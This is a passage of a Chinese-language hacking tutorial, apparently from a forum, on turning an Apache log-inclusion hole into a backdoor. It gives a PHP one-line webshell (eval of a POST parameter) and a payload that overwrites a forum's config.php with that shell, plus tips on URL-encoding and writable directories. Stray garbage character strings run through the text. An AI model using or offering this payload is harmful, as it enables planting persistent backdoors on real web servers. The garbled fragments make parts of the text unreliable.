因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 0 K4 ?2 A( S1 [* P! K
, R+ I% p0 y- I) |
比如还是这句一句话木马
; ]  E+ [  |" c* d<?eval($_POST[cmd]);?>   + E( F5 `$ N' d8 a

# r3 O& P  Y. w+ Y& K! g3 H到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
+ V; E& u) @+ D1 X5 S! Sfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
! C1 ]' G0 n5 v5 x4 O/ e+ [3 j; M! S$ f: ]! [0 b( d9 F) a5 n( f( h
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); / q+ f- n' W. n
fclose($fp);?>   //在config.php里写入一句木马语句
: C/ k1 M) ?3 l( P' O
. v0 X  g' D$ I: X- m4 G我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。

PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 2 m/ j# [+ w, t& o

其他的日志路径,你可以去猜,也可以参照这里。
